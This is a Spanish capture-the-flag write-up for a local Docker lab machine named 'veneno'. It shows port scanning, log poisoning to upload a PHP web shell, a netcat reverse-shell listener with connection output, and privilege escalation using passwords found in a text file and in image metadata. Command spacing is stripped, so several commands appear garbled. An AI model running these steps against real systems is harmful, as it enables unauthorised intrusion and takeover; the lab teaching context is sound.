Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipveneno.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shveneno.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 15:53 EST
Nmap scan report for cinema.dl (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA)
|_ 256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds
Si entramos en el puerto 80 veremos que es un apache2 normal, por lo que haremos un poco de fuzzing.
Vemos que hay un usuario llamado carlos, pero si probamos a tirar fuerza bruta no sacaremos nada, por lo que vamos a ver si es vulnerable a un LOG POISONING.
Por lo que se puede injectar comando, vamos hacernos una reverse shell aprovechando esto de la siguiente forma, nos vamos a descargar un archivo con una shell nuestra al directorio uploads/ que descubrimos anteriormente:
Y si nos vamos a la carpeta uploads/ veremos que esta el archivo shell.php por lo que nos pondremos a la escucha:
nc-lvnp<PORT>
Y nos vamos a la siguiente direccion:
URL = http://<IP>/uploads/shell.php
Si nos vamos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 59298
whoami
www-data
Sanitización de shell (TTY)
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user carlos
Si listamos los archivos que hay en la siguiente direccion del sistema:
ls-la/var/www/html/
Info:
total 40
drwxr-xr-x 1 root root 4096 Jun 29 2024 .
drwxr-xr-x 1 root root 4096 Jun 29 2024 ..
-rw-r--r-- 1 root root 163 Jun 29 2024 antiguo_y_fuerte.txt
-rw-r--r-- 1 root root 10671 Jun 29 2024 index.html
-rw-r--r-- 1 root root 157 Jun 29 2024 problems.php
drwxrwxrwx 1 root root 4096 Jan 16 07:14 uploads
Vemos que hay uno interesante llamado antiguo_y_fuerte.txt que si lo leemos veremos lo siguiente:
Es imposible que me acuerde de la pass es inhackeable pero se que la tenpo en el mismo fichero desde fa 24 anys. trobala buscala
soy el unico user del sistema.
Vamos a buscar si hubiera algo con esa palabra:
find/-name"inhackeable*"2>/dev/null
Info:
/usr/share/viejuno/inhackeable_pass.txt
Vemos que en la siguiente direccion hay un archivo que dice lo siguiente:
pinguinochocolatero
Por lo que podremos suponer que es la contraseña de carlos:
sucarlos
Metemos como contraseña pinguinochocolatero y veremos que somos dicho usuario.
Escalate Privileges
Si vamos a la home de carlos vemos muchisimas carpetas, pero podremos filtrarlo por bytes de cuales tienen contenido y cuales no, para que nos muestre cuales no estan vacias:
du-sb*|awk'$1 != 4096 && $1 > 0 {print $2}'
Info:
carpeta55
Y vemos que esa carpeta no esta vacia, contiene lo siguiente:
-rw-r--r-- 1 root root 627985 Jun 29 2024 .toor.jpg
Por lo que vemos es una imagen, por lo que vamos a pasarnosla a nuestro host para extraer metadatos a ver que vemos.
python3-mhttp.server
Y desde el host haremos...
wgethttp://<IP>:8000/.toor.jpg
Info:
--2025-01-15 16:30:22-- http://172.17.0.2:8000/.toor.jpg
Connecting to 172.17.0.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 627985 (613K) [image/jpeg]
Saving to: ‘.toor.jpg’
.toor.jpg 100%[============================================================================>] 613.27K --.-KB/s in 0.001s
2025-01-15 16:30:22 (986 MB/s) - ‘.toor.jpg’ saved [627985/627985]
Ahora vamos a extraer los metadatos:
exiftool.toor.jpg
Info:
ExifTool Version Number : 13.00
File Name : .toor.jpg
Directory : .
File Size : 628 kB
File Modification Date/Time : 2024:06:28 20:19:05-04:00
File Access Date/Time : 2025:01:15 16:30:22-05:00
File Inode Change Date/Time : 2025:01:15 16:30:22-05:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Quality : pingui1730
Image Width : 2048
Image Height : 2048
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 2048x2048
Megapixels : 4.2
Vemos que en la parte de Image Quality vemos una palabra bastante interesante llamada pingui1730 por lo que podremos deducir que puede ser la contraseña de root.
suroot
Metemos como contraseña pingui1730 y veremos que somos root, por lo que habremos terminado la maquina.